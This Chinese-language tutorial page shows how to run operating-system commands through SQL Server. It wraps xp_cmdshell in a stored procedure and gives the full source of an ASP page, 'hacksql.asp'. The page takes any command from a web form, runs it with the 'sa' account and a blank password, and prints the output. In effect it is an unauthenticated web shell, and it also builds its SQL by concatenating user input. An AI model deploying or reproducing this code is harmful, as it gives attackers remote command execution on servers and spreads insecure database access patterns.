|
![]() |
名片设计 CorelDRAW Illustrator AuotoCAD Painter 其他软件 Photoshop Fireworks Flash |
|
1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy 如下: CREATE PROCEDURE ddy @cmd varchar(50) AS exec master..xp_cmdshell @cmd 2、asp程序里如下:(hacksql.asp) <% cmd=trim(Request.Form("cmd")) if cmd<>"" then work() else show() end if function work() set conn=server.CreateObject("adodb.connection") set rs=server.CreateObject("adodb.recordset") conn.Open "xx","sa","" sql="exec ddy \\\'"&cmd&"\\\'" rs.Open sql,conn if not rs.EOF then do while not rs.eof Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>" rs.MoveNext loop else Response.Write "no" end if if rs.State=1 then rs.close set rs=nothing conn.Close set conn=nothing end function function show() %> <form action=hacksql.asp method=post> 请输入DOS命令:<input type=text name=cmd> <input type=submit value="ok"> </form> <% end function function htmlencode2(str)\\\'--------转变函数(为了显示时比较工整) dim result dim l if isnull(str) then htmlencode2="" exit function end if l=len(str) result="" dim i for i = 1 to l select case mid(str,i,1) case "<" result=result+"<" case ">" result=result+">" case chr(34) result=result+""" case "&" result=result+"&" case chr(13) result=result+"<br>" case chr(9) result=result+" " case "\\\'" result=result+"’" case chr(32) result=result+" " if i+1<=l and i-1>0 then if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then result=result+" " else result=result+" " end if else result=result+" " end if case else result=result+mid(str,i,1) end select next htmlencode2=result end function %> 返回类别: 教程 上一教程: 加密?理使密?更安全 下一教程: 浅谈ASP编程的思路与纠错 您可以阅读与"利用SQL的存储过程实现DOS命令的ASP程序"相关的教程: · 利用SQL SERVER存储过程实现ASP用户身份验证 · 利用SQLSERVER存储过程实现ASP用户身份验证 · ASP用存储过程实现数据分页 · 用存储过程实现ASP对数据库访问 · ASP 用存储过程实现数据分页 |
![]() ![]() |
快精灵印艺坊 版权所有 |
首页![]() ![]() ![]() ![]() ![]() ![]() ![]() |